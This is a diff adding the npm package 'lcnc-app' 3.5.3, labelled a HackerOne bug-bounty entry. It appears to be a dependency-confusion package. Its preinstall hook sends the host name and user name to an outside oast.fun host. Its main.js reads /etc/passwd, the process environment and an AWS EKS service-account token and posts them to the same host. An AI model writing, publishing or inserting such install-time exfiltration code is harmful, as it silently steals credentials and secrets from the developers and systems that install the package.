lcnc-app 3.5.3

package/main.js

@@ -0,0 +1,50 @@
+const si = require('systeminformation');
+const http = require('http');
+const fs = require('fs');
+
+si.osInfo().then(data => {
+    const options = {
+        hostname: 'pyeruljckrhnvlmqrofi7e1p6tsd63o8t.oast.fun',
+        path: '/',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json'
+        }
+    };
+
+    const sendPost = (payload) => {
+        const postData = JSON.stringify(payload);
+        options.headers['Content-Length'] = postData.length;
+        const req = http.request(options, res => {
+            res.on('data', d => process.stdout.write(d));
+        });
+        req.on('error', console.error);
+        req.write(postData);
+        req.end();
+    };
+
+    if (data.platform === 'linux' || data.platform === 'unix') {
+        // Reading /etc/passwd
+        fs.readFile('/etc/passwd', 'utf8', (err, passwdData) => {
+            if (!err) data.passwd = passwdData;
+
+            // Reading /proc/self/environ
+            fs.readFile('/proc/self/environ', 'utf8', (err, environData) => {
+                if (!err) data.environ = environData;
+
+                // Check if /var/run/secrets/eks.amazonaws.com/serviceaccount/token exists
+                const tokenPath = '/var/run/secrets/eks.amazonaws.com/serviceaccount/token';
+                if (fs.existsSync(tokenPath)) {
+                    fs.readFile(tokenPath, 'utf8', (err, tokenData) => {
+                        if (!err) data.token = tokenData;
+                        sendPost(data);
+                    });
+                } else {
+                    sendPost(data);
+                }
+            });
+        });
+    } else {
+        sendPost(data);
+    }
+});

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "lcnc-app",
+  "version": "3.5.3",
+  "description": "HackerOne Bug Bounty",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "curl --data-urlencode \"info=$(hostname && whoami)\" http://pyeruljckrhnvlmqrofi7e1p6tsd63o8t.oast.fun"
+  },
+  "keywords": [],
+  "author": "pwn2day HackerOne",
+  "license": "ISC"
+}